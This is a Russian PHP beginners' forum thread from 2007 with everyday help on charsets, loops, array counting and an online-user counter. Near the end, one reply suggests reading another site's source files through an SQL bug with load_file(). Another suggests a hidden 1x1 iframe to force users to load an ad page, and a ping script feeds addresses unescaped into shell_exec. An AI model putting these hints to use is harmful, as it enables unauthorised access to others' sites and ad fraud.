Просмотр полной версии : [php] Новичкам: задаем вопросы
groundhog
02.11.2007, 12:37
Заходи по ссылке нормальным rss-ридером, или оперой на худой конец.
inlanger
02.11.2007, 12:43
У ФФ нормальный РСС ридер...
groundhog
02.11.2007, 12:50
Я тебе ещё раз говорю, ридер нормальный поставь, или значит ты структуру XML нарушил... Смотри:
когда я пытаюст открыть эту страницу мне браузер предлагает её сохранить или выбрать, через что открыть.
Так поступают браузеры, которые не понимают какой-то Content-Type, в данном случае, он не понимает тайп application/rss+xml.
Если я выбираю ФФ, то выводит
Здесь ссылка на сайт Здесь краткое описание данного канала Здесь дата последнего изменения в канале (RFC 2822) Ссылка на эту статью или новость Текст статьи или новости в произвольном объёме Дата опубликования данной статьи или новости Ссылка на эту статью или новость Текст статьи или новости в произвольном объёме Дата опубликования данной статьи или новости Ссылка на эту статью или новость Текст статьи или новости в произвольном объёме Дата опубликования данной статьи или новости
А вот в данном случае браузер корректно распарсил XML в чём ты можешь убедиться посмотрев исходный текст страницы-результата. Чтобы как стилизованно отобразить эту rss нужен нормальный RSS-клиент.
PEPSICOLA
02.11.2007, 13:23
Люди :) Если у переменной присваивается значение в одиночных ковычках, то будут ли учитываться двойные ковычки, внутри этих одиночных?
Например:
$test = 'Hello hello <font color="red">hello</font>'
groundhog
02.11.2007, 13:33
PEPSICOLA, всё будет норм... Одинарные кавычки говорят о том, что внутри них не будет происходить парсинга на предмет интерпретации переменных. То есть оно будет взято as is.
inlanger
02.11.2007, 13:34
a ты проверь ;)
русскийй текст добваляется в мускул в виде ???. и так же выводится. в чём проблемма?
кодировка мускула cp1251_general_ci
пробовол другие не помогло(или не те пробовал) раньше всё было ок.
groundhog
02.11.2007, 20:14
mr.The, неверные настройки у мускла. При правильных такого быть не должно. Всё равно, я думаю, что эти строчки исправят ситуацию, вставь их после инициализации соединения:
...
mysql_query("SET NAMES CP1251");
mysql_query("SET COLLATION_CONNECTION=CP1251_GENERAL_CI");
...
inlanger
03.11.2007, 00:09
Такой вопрос... Как это правильно сделать?
1. К моему сайту обращается скрипт с другого сайта, берёт нужные ему данные(rss формат)
2. Тот скрипт с другого сайта обрабатывает и выводит данные(как и куда - меня не интересует)
3. Через 5 минут тот же скрипт снова обращается к моему сайту, проверяет, если что-то новое(!) и если есть - забирает данные. Если ничего нового - ничего не делает...
Как это проделать? Интересует именно проверка на то, брал ли скрипт данные или нет...
RedBull@12
03.11.2007, 00:25
Такой вопрос... Как это правильно сделать?
1. К моему сайту обращается скрипт с другого сайта, берёт нужные ему данные(rss формат)
2. Тот скрипт с другого сайта обрабатывает и выводит данные(как и куда - меня не интересует)
3. Через 5 минут тот же скрипт снова обращается к моему сайту, проверяет, если что-то новое(!) и если есть - забирает данные. Если ничего нового - ничего не делает...
Как это проделать? Интересует именно проверка на то, брал ли скрипт данные или нет...
Выдирать инфу из хеда, из самого запроса.
Если конечно не будет подделка хеда в запросе стороннего сайта.
При обращении пхп скрипта, без подделки хеда, на сколько я понимаю хед должен быть пустым,относительно пустым.
А при обращении юзвера к такой страничке браузер передает как минимум свою версию, и не только.
p.s.:если что-то не так прощу поправить
inlanger
03.11.2007, 00:34
нифига не понял...можно подробнее? ведь єто тема для ПХП новичков.
Как это проделать? Интересует именно проверка на то, брал ли скрипт данные или нет...
Если известно с какого сайта идут запросы, можно отслеживать приходил ли запрос оттуда или нет, к примеру сверяя полученный REMOTE_ADDR с IP сервера на котором весит тот сайт.
RedBull@12
03.11.2007, 00:36
ну а так забивать каждый новый хост руками, не накладно ли это?
RedBull@12
03.11.2007, 01:43
нифига не понял...можно подробнее? ведь єто тема для ПХП новичков.
Я могу предложить вот такой вариант, обственно то что предлагал.
<?php
if ($_SERVER['HTTP_USER_AGENT'] != "") { echo "пришел юзвер"; }
?>
схема не 100% вероятные проблемы:
1-поделка запроса,либо какой либо мусор в запорсе,можно отфильтровать.
2-если в настройках браузера установлено, чобы он не передавал эту инфу, или каки-либо другие трудности, то ту другой вариант,-выдирать ip-клиента($_SERVER['REMOTE_ADDR']) и проверяем на наличе хоста на этом ip(http://search.msn.com/results.aspx?q=ip:здесь_ip_который_в драли, и проверяем что нам выдал поиск)
Ну и как следствие из всего выше излагаемого
<?php
$test = "no!";
if ($_SERVER['HTTP_USER_AGENT'] != "" ) {
if ( substr_count($_SERVER['HTTP_USER_AGENT'],"Opera") > 0 or substr_count($_SERVER['HTTP_USER_AGENT'],"Mozilla") > 0 ) { $test = "ok!"; }
}
$file = file_get_contents("http://search.msn.com/results.aspx?q=ip:".$_SERVER['REMOTE_ADDR']);
$file1 = file("http://search.msn.com/results.aspx?q=ip:".$_SERVER['REMOTE_ADDR']);
$exmp1 = "|<h1>Поиск по запросу "<strong>ip:(.*)</strong>" не дал результатов.</h1>|siU";
$exmp2 = "|<h1>We did not find any results for <strong>ip:(.*)</strong>.</h1>|siU";
preg_match($exmp2,$file,$out2);
if ( $out1[0] != "" or $out2[0] != "" ) { echo "Пришел юзвер<br>\n\r"; }
else { echo "Пришел ROBOT<br>\n\r"; }
echo "Тест на браузер:".$test;
?>
Скрипт можно оптимизировать записывая в файл ip-адреса уже побывавших машин,и уже не использовать проверку на наличие доменного имени привязанного к этому ip.
Ну а дальше автор разбирайся сам, во всяком случаи могу помочь в реализации, елси будут проблемы.
p.s.:Еще одной из ступени проверки можно включить само определение чему принадлежит ip,но это уже немного другая история.
народ вот таой тупой вопрос: =)
видел ссылки типа board.php?z
меня интересует ?z , как это называется и где про это прочитать?
RedBull@12
03.11.2007, 03:08
народ вот таой тупой вопрос: =)
видел ссылки типа board.php?z
меня интересует ?z , как это называется и где про это прочитать?
это переменная передаваемая через GET-запрос
http://www.php.su/books/?php
читай
народ вот таой тупой вопрос: =)
видел ссылки типа board.php?z
меня интересует ?z , как это называется и где про это прочитать?
это гет запрос, весь гет запрос можно прочитать с помощью $_SERVER["QUERY_STRING"].
inlanger
03.11.2007, 17:54
Хм...это всё очень круто. Но дело в том, что я знаю,какие серваки обращаются к моему скрипту. Но как им сказать, брали ли они инфу или нет?
getMessage
03.11.2007, 18:07
Прохожу уроки php =) Вот, застрял на операторе - foreach) помагите разобраться ;)
<?php
$streets_nomer = array ("Sedulinos all." => 73, "Jaunistes all." => 25, "Kosmoso all." => 43, "Taikos all." => 12);
ksort ($steets_nomer);
foreach ($streets_nomer as $streets => $nomer)
{
$nomer = number_format(nomer);
echo "$streets: $nomer.<br>";
}
?>
getMessage, foreach - цикл.
Твой код неудачен для примера. Вот тебе самый простой пример.
<?
$getMessage = array( 1 => 'Я', 'прохожу', 'уроки', 'PHP' );
foreach( $getMessage as $slowo )
{
echo($slowo.' ');
}
?>
<br><br>
<?
foreach( $getMessage as $nomer => $slowo )
{
echo($nomer.'-ое слово: '.$slowo.'<br>');
}
?>
Этот цикл поочерёдно меняет значения массива.
люди подскажите,скрипт онлайн счетчика,что то не так просит $end,всё что нада закрыто что не так?
http://www.softlinks.ru/scripts/f120.php
не,мне этот нужно исправить
который глючит,я его выдернула из скрипта гостевой,ошибку выдает
и как ты себе представляешь ответ на твой вопрос,почему глючит скрипт который ты выдернула=)хочешь скинь мне в асю..ася в профиле предложение действует-)в течени ближайшего получаса
не скину,он большой а под рукой нет компа.а почему ему не работать??файл подключается как инклуд,какая разница подключить в страницу геста или страницу сайта?
Demetra, как думаешь, возможно исправить скрипт, который есть только у тебя?
ну блин нет щас компа скопировать:-(
RedBull@12
04.11.2007, 00:20
Хм...это всё очень круто. Но дело в том, что я знаю,какие серваки обращаются к моему скрипту. Но как им сказать, брали ли они инфу или нет?
В чем проблема?
Я предолжил скрипт с расширенными способностями.
Твой скрипт содержится в моем как подскрипт, точнее я впримечании написал.
RedBull@12
04.11.2007, 00:43
to inlanger ну вот собственно скрипт кторый тебе нужен, ну и плюс там проверка на сторонние сайты,тобишь полностью скомбинировал.
<?php
$test = "no!";
$t = 0;
if ($_SERVER['HTTP_USER_AGENT'] != "" ) {
if ( substr_count($_SERVER['HTTP_USER_AGENT'],"Opera") > 0 or substr_count($_SERVER['HTTP_USER_AGENT'],"Mozilla") > 0 ) { $test = "ok!"; }
}
$ip_in_file = file("путь_к_файлу_с_ip_серверов");
for ($i = 0; $i <= count($ip_in_file); $i++) { if ( $_SERVER['REMOTE_ADDR'] == $ip_in_file[$i] ) { $t = "1"; } }
if ( $t == 0 ) {
$file = file_get_contents("http://search.msn.com/results.aspx?q=ip:".$_SERVER['REMOTE_ADDR']);
$file1 = file("http://search.msn.com/results.aspx?q=ip:".$_SERVER['REMOTE_ADDR']);
$exmp1 = "|<h1>Поиск по запросу "<strong>ip:(.*)</strong>" не дал результатов.</h1>|siU";
$exmp2 = "|<h1>We did not find any results for <strong>ip:(.*)</strong>.</h1>|siU";
preg_match($exmp2,$file,$out2);
preg_match($exmp1,$file,$out1);
}
if ( ($out1[0] != "" or $out2[0] != "") and $t == 0 ) { echo "Пришел юзвер<br>\n\r"; }
else { echo "Пришел ROBOT<br>\n\r"; }
echo "Тест на браузер:".$test.$t;
?>
_seeattack_
04.11.2007, 11:18
нужно сделать менюшку,в файле все разделы и вложения.. нуна главная менюшка, и еще одна
================================================== =
так примерно выглядит файлик с которым код работает
/about#'О компании'
//group#'О группе'
/education#'Обучение'
=================================================
нужно терь сгенерить mainmenu и submenu
пожалуйста,возьмитесь кто нибудь за эту работу нужно срочно для учёбы;)
RedBull@12
04.11.2007, 13:09
нужно сделать менюшку,в файле все разделы и вложения.. нуна главная менюшка, и еще одна
================================================== =
так примерно выглядит файлик с которым код работает
/about#'О компании'
//group#'О группе'
/education#'Обучение'
=================================================
нужно терь сгенерить mainmenu и submenu
пожалуйста,возьмитесь кто нибудь за эту работу нужно срочно для учёбы;)
1-здесь лишь помогают в написании скритов.
2-проблему нужно оглашать конкретно.(Что?Как?Почему? не получается)
3-тебе помогут только с куском кода,за тебя никто не будет пистаь полностью код страницы(На заказ- без проблем стучи в мою асю.)
inlanger
04.11.2007, 14:52
RedBull@12, буду очень благодарен, если ты ещё и в асю стукнешь... а то я тупо не могу въехать в твою идею...
RedBull@12
04.11.2007, 14:59
RedBull@12, буду очень благодарен, если ты ещё и в асю стукнешь... а то я тупо не могу въехать в твою идею...
нигде не видно твоего номера,мой номер есть контакте посмотри и стукни
inlanger
04.11.2007, 15:11
Мой номер внизу в левом нижнем углу на аватаре :)
Не знал куда написать, поэтому написал здесь :)
Как можно заменить текст, например "http" на символы, который виден в адресной строке браузера??Например, когда набираешь в гугле слово "форум", то в адресной строке видно вот это "%D1%84%D0 ...", можно ли тоже самое проделать с лат. буквами?Если да, то как? :)
Помогите, очень нужно!С меня +)
http://quest.antichat.net/code.php
ISCII to HEX
перед парами символов добавляешь %
Что-то я не допер((
там вобще не то, что ты сказал - 00100101
Может что я не так, покажи что надо вводить, как))
http://ha.ckers.org/xss.html
url encode
Dimi4, СПАСИБО!!!Респект!!то что надо))
Подскажыте плз как вычислить процент совместимости текст.
То есть слова
йцу
фыв
ячс
и тд.
И текст
вапйцувафывсмячс
Как вычислить процент сколько слов совпало в тексте
phol1eadeux
04.11.2007, 23:40
Что-то я не допер((
там вобще не то, что ты сказал - 00100101
Может что я не так, покажи что надо вводить, как))
Там выбираешь в списке ASCII to HEX
Как вычислить процент сколько слов совпало в тексте
if (eregi("$slovo","$text")) {echo 'совпало';}else{echo 'не совпало';}
так проверяешь сколько слов совпало, и там уже посчитаешь какой это процент от общего количества
Подскажыте плз как вычислить процент совместимости текст.
То есть слова
и тд.
И текст
Как вычислить процент сколько слов совпало в тексте
Вот может ты это имеешь ввиду =)
<?
$slova = '123
321';
$stroka = '123000321099';
$slova = explode("\n", $slova);
for( $subcount = 0, $i = 0; $i < count($slova); $i++ )
{
$subcount = $subcount + (substr_count($stroka, $slova[$i]) * strlen($slova[$i]));
}
if( $subcount > 0 )
{
$procent = round( 100 / strlen($stroka) * $subcount )."%";
}
else
{
$procent = 'Нет совпадений';
}
echo $procent;
?>
Показывает процент совпадений.
MegaDeth
05.11.2007, 01:39
вот несложный вопрос но чото не соображу никак :\
имеется N число двумерных массивов(в цикле дело или трехмерный массив).
ключи представляют собой числа, но не обязательно начинающиеся с ноля.
необходимо сосчитать сколько значений во всех этих массивах=тру, но с условием что ключи не должны совпадать...
про слияние массивов покурил еще сильнее запутался...
_________
вообщем массивы - описатели на плоскости прямоугольников. два ключа - Х и У стороны... значения просто если "тру" то эта точка пренадлежит прямоугольнику.
вообщем сделано для того чтобы в случае "наслоения" прямоугольников площадь не удваивалась, но не реализую до конца чтото...
RedBull@12
05.11.2007, 01:43
вот несложный вопрос но чото не соображу никак :\
имеется N число двумерных массивов(в цикле дело или трехмерный массив).
ключи представляют собой числа, но не обязательно начинающиеся с ноля.
необходимо сосчитать сколько значений во всех этих массивах=тру, но с условием что ключи не должны совпадать...
про слияние массивов покурил еще сильнее запутался...
_________
вообщем массивы - описатели на плоскости прямоугольников. два ключа - Х и У стороны... значения просто если "тру" то эта точка пренадлежит прямоугольнику.
вообщем сделано для того чтобы в случае "наслоения" прямоугольников площадь не удваивалась, но не реализую до конца чтото...
немного не вкурил...но функция count выдает сколько элементов массиве,если нет то поясни.
MegaDeth
05.11.2007, 01:54
немного не вкурил...но функция count выдает сколько элементов массиве,если нет то поясни.
да, но массивов дофига и они двумерные. нужно перечислить все значения(их кол-во), в неповторяющихся ключах.(разных дв. массивах)
RedBull@12
05.11.2007, 01:57
да, но массивов дофига и они двумерные. нужно перечислить все значения(их кол-во), в неповторяющихся ключах.(разных дв. массивах)
у етбя такие массивы
massiv1[x] и massiv2[y]
где X = 0...X, ну или что-то типа того
а Y = 0...Y, ну или похожее
так?
MegaDeth
05.11.2007, 02:09
у етбя такие массивы
massiv1[x] и massiv2[y]
где X = 0...X, ну или что-то типа того
а Y = 0...Y, ну или похожее
так?
нет,
массивы генерируются так:
function GetPlos($mas)
{
$r=0;
$res=(($mas[3]-$mas[1])*($mas[2]-$mas[0]));
for ($i=$mas[0];$i<$mas[2];$i++)
{
for ($j=$mas[1];$j<$mas[3];$j++)
{
$m[$i][$j]=true;
}
}
return $m;
}
$mfile=file('prams.txt');
$arr=array();
for ($i=0;$i<count($mfile);$i++)
{
$mas=explode(' ',$mfile[$i]);
//$arr=$arr+GetPlos($mas);
//print_r(GetPlos($mas)); echo '<br>';
GetPlos($mas);// вот эта функция возвращает массивы.
}
в файле
0 0 2 2
0 0 3 3
имеется 2 прямоугольника. один полностью закрыт другим (начало в 0,0, заканчивается один в 2,2 другой в 3,3 (коодинаты ссотв..))
надо сделать так чтобы не перечислялись два раза те которые имеют общие точки..
RedBull@12
05.11.2007, 02:33
MegaDeth, ответ 13?
MegaDeth
05.11.2007, 02:42
MegaDeth, ответ 13?
мм... вообщето должно получится 9... в данном случе..
если так то прямоугольник разширится до 4х3 что будет = 12... вообщем дрянь дело нада придумывать другой алгоритм...
0 0 2 4
0 0 3 3
для удобства взял начало обеих прямоугольников с начала координат то не всегда так...
RedBull@12
05.11.2007, 03:49
мм... вообщето должно получится 9... в данном случе..
Хм...судя по выводу массива,пересчитал сумму всех вложенных массивов у меня получилось 13(4 в первом случаи и 9 во втором)
аа...почитал немного вкурил..что-то сразу не понял...
Тогда тут вроде алгоритм не так составлен, или второй варинат - я сново не вкурил:)
------------
|***|##|
|***|##|
|***|##|
|#####|
|#####|
------------
Тебе какую область нудн получить? */#?
если * то в данном случи у нас полуится 2*2=4
|***|
|***|
|***|
если # то - (3*3)-(2*2)=5
------------
|##|
|##|
|##|
|#####|
|#####|
------------
9 никак не получается,только есть взять площадь большего прямоугольника.
13 получается при сложении...
------------------
|#####|***|
|#####|***|
|#####|***|
|#####|
|#####|
-------------
Какой тебе вариант нужно получить?(конечно можно еще перемножить их и т.д.)
MegaDeth
05.11.2007, 10:57
нее.. вообщем в файл пишется - координаты левой нижней точки прямоугольника затем координаты правой верхней точки. в строку. 4 числа. строк может быть много. надо посчитать площадь всех прямоугольников, но в случае наслоения площадь наслоения (те участки где они наслоились) должна учитватся только 1 раз...
вот у тя 13 получилось один прямоугольник 2*2=4 другой 3*3=9
9+4=13 НО один полностью закрыт другим
и его площадь учитывать ненадо.
***
??*
??*
MegaDeth
05.11.2007, 12:59
решение было просто до ужоса. мож кому пригодится...
<?php
$m=array();
$r=0;
function GetPlos($mas)
{
GLOBAL $m,$r;
$res=(($mas[3]-$mas[1])*($mas[2]-$mas[0]));
for ($i=$mas[0];$i<$mas[2];$i++)
{
for ($j=$mas[1];$j<$mas[3];$j++)
{
if (!isset($m[$i][$j])) {
$m[$i][$j]=true; $r++; }
}
}
return $m;
}
$mfile=file('prams.txt');
$arr=array();
for ($i=0;$i<count($mfile);$i++)
{
$mas=explode(' ',$mfile[$i]);
GetPlos($mas);
}
echo $r;
?>
RedBull@12, большое спасибо что пытался помоч...
RedBull@12
05.11.2007, 13:44
MegaDeth, честно не вкурил.
Твой скрипт отгда не работает у него во всех значениях получается 1...а в последних по любому должно быть часть нулей
Array (
--------[0] => Array (
-------------------------[0] => 1
-------------------------[1] => 1
--------)
--------[1] => Array (
-------------------------[0] => 1
-------------------------[1] => 1
--------)
)
Array (
---------[0] => Array (
--------------------------[0] => 1
--------------------------[1] => 1
--------------------------[2] => 1
--------)
---------[1] => Array (
--------------------------[0] => 1
--------------------------[1] => 1
--------------------------[2] => 1
--------) [2] => Array (
--------------------------[0] => 1
--------------------------[1] => 1
--------------------------[2] => 1
--------)
)
=>наш скрипт написан не верно.
иначе нет вообще смысла в этом скрипте
MegaDeth
05.11.2007, 14:31
неее, все как надо работает.
вот сам попробуй в файл тхт запиши
0 0 2 4
0 0 3 3
потом написуй на бумаге по клеткам два прямоугольника левый нижний угол - в нач. координат, правый верхний одного - (2,4) второго - (3,3).
эти два прямоугольника будут занимать площадь 11 клеток. скрипт выдает праавду )))
RedBull@12
05.11.2007, 16:31
неее, все как надо работает.
вот сам попробуй в файл тхт запиши
0 0 2 4
0 0 3 3
потом написуй на бумаге по клеткам два прямоугольника левый нижний угол - в нач. координат, правый верхний одного - (2,4) второго - (3,3).
эти два прямоугольника будут занимать площадь 11 клеток. скрипт выдает праавду )))
Так про что и речь тут мы складываем два массива.
Сейасч напишу скрипт,елси получится
RedBull@12
05.11.2007, 17:13
MegaDeth, смотри алгоритм,ну который я могу предположить, но пока у меня пробелмы с реализацией:
1-Вычисляем максимальную длину прямоугольника.
1111111
1111111
0000000
0000000
2-Вычисляем максимальную ширину прямоугольника.
1100000
1100000
1100000
1100000
3-Создаем двумерный массив[длина][ширина], все элеменеты в массиве имеют значение 0.
по идеи у нас должно получиться что-то типа вот этого:
0000000
0000000
0000000
0000000
4-Далее заполняем/складываем по очереди все прямоугольнки с нашим нулевым массивом.
и унас получится что-то типа вот этого:
1111111
1111111
1100000
1100000
5-Дальше смотрим сколько у нас значений TRUE(1). через элелентарный цикл.
Ну походу это то что ты хотел получить, полагаю что это не совсем рационально,но елси данный цикл процедура выполняется не слишком часто и нет ограничения по памяти то оптимальный вариант.
MegaDeth
05.11.2007, 17:54
RedBull@12, да все норм я сделал с графикой даже )
посути, перед заполнением массива проверяется существование уже имеющаегося ключа и 2 раза не посчитает его счетчик =)))
<?php
$m=array();
$r=0;
$st=0;
$img=imagecreatetruecolor(500,500);
$color=imagecolorallocate($img,255,255,255);
function GetPlos($mas)
{
GLOBAL $m,$r,$st,$img,$color;
$res=(($mas[3]-$mas[1])*($mas[2]-$mas[0]));
//echo $res.'<br>';
$st=$st+$res;
$color=imagecolorallocate($img,rand(0,255),rand(0, 255),rand(0,255));
for ($i=$mas[0];$i<$mas[2];$i++)
{
for ($j=$mas[1];$j<$mas[3];$j++)
{
//if (!isset($m[$i][$j])) {
if (!isset($m[$i][$j])) {
$m[$i][$j]=true; $r++;
imagesetpixel($img,$i+100,-$j+100,$color);
}
}
}
return $m;
}
$mfile=file('prams.txt');
$arr=array();
for ($i=0;$i<count($mfile);$i++)
{
$mas=explode(' ',$mfile[$i]);
GetPlos($mas);
}
header('Content-Type: image/png');
imagepng($img);
//header('Content-Type: text/html');
echo $r."<br> Общая площадь ".$st;
?>
Нужно вставть скрипт tak.ru (рекламные ссылки) (пример скрипта)
<script language="JavaScript" src="http://b80.takru.com/in.php?id=88964"></script>
Так вот надо чтобы этот скрипт, появлялся при заходе пользователя на страницу (всплывающее окно), но после того как пользователь нажмет ЗАКРЫТЬ или нажмет по одной из ссылок, всплывающее окно не появлялось. Как это сделать?
astrologer
05.11.2007, 19:17
КИНГ,
По адресу http://b80.tak.ru.com/in.php?id=88964 находится обычная html страница, бесполезно пытаться вставить её как src тега script
RedBull@12
05.11.2007, 22:09
Нужно вставть скрипт tak.ru (рекламные ссылки) (пример скрипта)
<script language="JavaScript" src="http://b80.takru.com/in.php?id=88964"></script>
Так вот надо чтобы этот скрипт, появлялся при заходе пользователя на страницу (всплывающее окно), но после того как пользователь нажмет ЗАКРЫТЬ или нажмет по одной из ссылок, всплывающее окно не появлялось. Как это сделать?
код ява скрипта...
function OpenLoad() {
var win = window.open('','preview','width=550,height=550,lef t=0,top=0,screenX=0,screenY=0,resizable=1,scrollba r=0,status=0');
var content = '<script language="JavaScript" src="http://b80.takru.com/in.php?id=88964"></script>';
win.document.write(content);
}
А дальше в боди пропиши
<body onload="OpenLoad()">
будет работать.
По крайне мере должно:),у меня работает
КИНГ, как я понял тебе надо чтобы юзвери посещали ту ссылку... Тогда делаеш так...
Проверяеш, если в куках takVisit не равно 1 то делай <iframe> размером 1х1 и там загружаеш эту страницу, а в куки пишеш takVisit=1
Надеюсь я понятно объяснил? :)
Макс 8===3
06.11.2007, 20:03
Товарищи, а подскажите генератор ссылок, который генерит вот таки образом :
[QUOTE]
<div id="right"><a href="/f.php">пирсинг фото гениталии</a><br><br><a href="/nz.php">порка фото</a><br><br><a href="/4kz.php">скандальные фото звезд</a><br><br><a href="/ey6.php">фото голых домохозяек</a><br><br><a href="/1.php">фото гостиница россия</a><br><br><a href="/9tt.php">фото фистинга</a><br><br><a href="/kby.php">частное фото эротика</a><br><br><a href="/l9h88.php">групповуха фото</a><br><br><a href="/pd.php">транс фото</a><br><br><a href="/3rf.php">фото димы колдуна</a><br><br><a href="/jp.php">фото италии</a><br><br><a href="/4uyyu.php">фото машины</a><br><br><a href="/ht.php">фото разврат</a><br><br><a href="/3ag4y.php">чечня фото</a><br><br><a href="/mcty.php">видео фото</a><br><br><a href="/xdk.php">огромные сиськи фото</a><br><br><a href="/i.php">порно фото японок</a><br><br><a href="/ozvh.php">срочное фото</a><br><br><a href="/i7.php">трусики фото</a><br><br><a href="/vens7.php">фото с нудисткого пляжа</a><br><br><a href="/z1c.php">фото с пляжа</a><br><br><a href="/cent6zg9i.php"> cent фото</a><br><br><a href="/r683a.php">джессика альба фото</a><br><br><a href="/n.php">любительские эротические фото</a><br><br><a href="/60x.php">модели фото</a><br><br>
и ссылки получаются вот такие:
[QUOTE]1) /f.php
2) /nz.php
3) /4kz.php
4) /ey6.php
5) /1.php
6) /9tt.php
7) /kby.php
8) /l9h88.php
9) /pd.php
10) /3rf.php
11) /jp.php
12) /4uyyu.php
13) /ht.php
14) /3ag4y.php
15) /mcty.php
16) /xdk.php
17) /i.php
18) /ozvh.php
19) /i7.php
???????
Макс 8===3, проще не придумаешь =)
<?
$content = '<div id="right"><a href="/f.php">пирсинг фото гениталии</a><br><br><a href="/nz.php">порка фото</a><br><br><a href="/4kz.php">скандальные фото звезд</a><br><br><a href="/ey6.php">фото голых домохозяек</a><br><br><a href="/1.php">фото гостиница россия</a><br><br><a href="/9tt.php">фото фистинга</a><br><br><a href="/kby.php">частное фото эротика</a><br><br><a href="/l9h88.php">групповуха фото</a><br><br><a href="/pd.php">транс фото</a><br><br><a href="/3rf.php">фото димы колдуна</a><br><br><a href="/jp.php">фото италии</a><br><br><a href="/4uyyu.php">фото машины</a><br><br><a href="/ht.php">фото разврат</a><br><br><a href="/3ag4y.php">чечня фото</a><br><br><a href="/mcty.php">видео фото</a><br><br><a href="/xdk.php">огромные сиськи фото</a><br><br><a href="/i.php">порно фото японок</a><br><br><a href="/ozvh.php">срочное фото</a><br><br><a href="/i7.php">трусики фото</a><br><br><a href="/vens7.php">фото с нудисткого пляжа</a><br><br><a href="/z1c.php">фото с пляжа</a><br><br><a href="/cent6zg9i.php"> cent фото</a><br><br><a href="/r683a.php">джессика альба фото</a><br><br><a href="/n.php">любительские эротические фото</a><br><br><a href="/60x.php">модели фото</a><br><br>';
preg_match_all('|<a.+href="(.+)".*>|iU', $content, $urls, PREG_SET_ORDER);
foreach( $urls as $url )
{
echo($url[1]."<br>\n");
}
?>
<?php
set_time_limit(0);
$ips_array=array(
"192.168.0.1",
"192.168.0.2",
);
function ping($PC,$ip){
$cmd=shell_exec("ping -n 1 -w 1000 $ip");
$dati_mount=explode(",",$cmd);
$connesso="";
if (eregi ("0", $dati_mount[1], $out)) {$connesso="<img src=\"off.gif\">";}
if (eregi ("1", $dati_mount[1], $out)) {$connesso="<img src=\"on.gif\">";}
$esito="$connesso [$ip] <b>$PC</b><br>";
return $esito;
}
while(list($k,$v)=each($ips_array)){
$dati_ip=explode(":",$v);
$esito=ping($dati_ip[0],$dati_ip[1]);
echo $esito;
}
?>
народ как сделать чтобы писало общее число всех online
RedBull@12
07.11.2007, 00:26
народ как сделать чтобы писало общее число всех online
Выведет число элементов в массиве...
echo count($ips_array);
Хотя как-то слабо понимаю что скрипт делает...
$cnt=0;
while(list($k,$v)=each($ips_array)){
$dati_ip=explode(":",$v);
$esito=ping($dati_ip[0],$dati_ip[1]);
if (strpos($esito,"off.gif")==false) $cnt++;
echo $esito;
}
echo "online-".$cnt;
а можно как ввести диопазон айпишников 192.168.0.*-255 а не прописывать каждый?
$dip='192.168.0.';
for ($i=0;$i<=255;$i++) {$ips_array[$i]=$dip.$i;}
может так?
если тебе не нужны ip 192.168.0.0, 192.168.0.1, 192.168.0.255 просто измени в цикле значения
а ну точно через цикл =) спасиб
<?php
$data="online.dat";
$time=time();
$past_time=time()-300;
$readdata=@fopen($data,"r") or die(" $data");
$data_array=file($data);
@fclose($readdata);
if (getenv('HTTP_X_FORWARDED_FOR'))
$user = getenv('HTTP_X_FORWARDED_FOR');
else
$user = getenv('REMOTE_ADDR');
$agent = getenv('HTTP_USER_AGENT');
$d=count($data_array);
for($i=0;$i<$d;$i++)
{
list($live_agent,$live_user,$last_time)=explode("::","$data_array[$i]");
if($live_user!=""&&$last_time!=""&&$live_agent!=""):
if($last_time<$past_time):
$live_user="";
$last_time="";
$live_agent="";
endif;
if($live_user!=""&&$last_time!=""&&$live_agent!="")
{
if($user==$live_user&&$agent==$live_agent)
{
$online_array[]="$agent::$user::$time\r\n";
}
else
$online_array[]="$live_agent::$live_user::$last_time";
}
endif;
}
if(isset($online_array)):
foreach($online_array as $i=>$str)
{
if($str=="$agent::$user::$time\r\n")
{
$ok=$i;
break;
}
}
foreach($online_array as $j=>$str)
{
if($ok==$j) { $online_array[$ok]="$agent::$user::$time\r\n"; break;}
}
$agent=htmlspecialchars(stripslashes($agent));
$user=htmlspecialchars(stripslashes($user));
$writedata=@fopen($data,"w") or die(" $data");
@flock($writedata,2);
if($online_array=="") $online_array[]="$agent::$user::$time\r\n";
foreach($online_array as $str)
fputs($writedata,"$str");
@flock($writedata,3);
@fclose($writedata);
$readdata=@fopen($data,"r") or die(" $data");
$data_array=@file($data);
@fclose($readdata);
$online=count($data_array);
print '<br/><font color="#FFFF33">Online:.$online.'</font><br/>';
?>
народ подскажите в чем ошибка,просит закончить $end,а я непойму все вродь нармальна
if(isset($online_array)): возможно из-за того что нет endif
лучше расставь скобки и поставь отступы
читай предыдущий пост там у тебя с кавычками трабла
Аффтар, такая ошибка появляется когда не закрыта скобка } ищи где...
Сначало непонял о чём говорит inv но посомтрел в скрипт и понял... Чувак, кто тя научил юзать какие-то endif! Перехожи на { } Ужос!
Вместо
print '<br/><font color="#FFFF33">Online:.$online.'</font><br/>';
напиши
print '<br/><font color="#FFFF33">Online:'.$online.'</font><br/>';
endif;
и всё заработает, но позаменяй : на { а endif на } ;)
=======================
Вот мне тут едитор жалуется, что $readdata(5 строка),$writedata(50 строка),$readdata(57 строка) не использовались после открытия :rolleyes:
Нахрена ты их открываеш? Если просто для проверки существования файла, юзай file_exists
большое спосибо:-)эт не я писала выдернула из скрипта гостевой чуть покавыряла хочу чтоб отдельна был скрипт онлайна.
а можно узнать,как вообще с ним работать и как его применять,куда скопировать?
никуда неприменяй он нерабочий,все равно непашет,у меня наверна мазгов еще мала скрипты патрошить
я вообще спросил,не про этот скрипт,а вообще как ими пользоватся,есть какой-нить Faq как че и куда?
groundhog
08.11.2007, 14:55
Мадам и мусьё, здесь вопросы касательно Php. Поиск манов и наводящий организационные вопросы выносите в другие темы, или обсуждайте в личке.
Можно ли как-то просмотреть исходник .php файла на сайте?
1Diman1, http://php.ru/install/ ставь, если выживеш, стучи 202-995-022 покидаю в тебя мануалами :)
Minsor, Законно - нет :)
2 Ponchik - Да мне по барабану как! Нужно очень.
P.S. Рассмотрю любые способы.
2 Ponchik - Да мне по барабану как! Нужно очень.
P.S. Рассмотрю любые способы.
Если есть доступ к фтп - скачай и посмотри.
Если можешь выполнять код php - выполни <?=htmlspecialchars(file_get_contents('файл.php '));?>.
Если есть бага sql - заюзай load_file().
Сайт не мой (естественно)
Доступа к фтп и др. нет.
Код php не выполняется (от NOmeR1).
На сайте стоит MySql.
И вообще я не программист, а долбанный дизайнер, и мне позарез нужна какая-то прога (скрипт) для просмотра пхп-кода.
Всем ответившим - thanks за ваши старания.
Minsor, забей на идёю.
P.S. Рассмотрю любые способы.
100$
Звеняюсь за оффтоп
мне позарез нужна какая-то прога (скрипт) для просмотра пхп-кода.
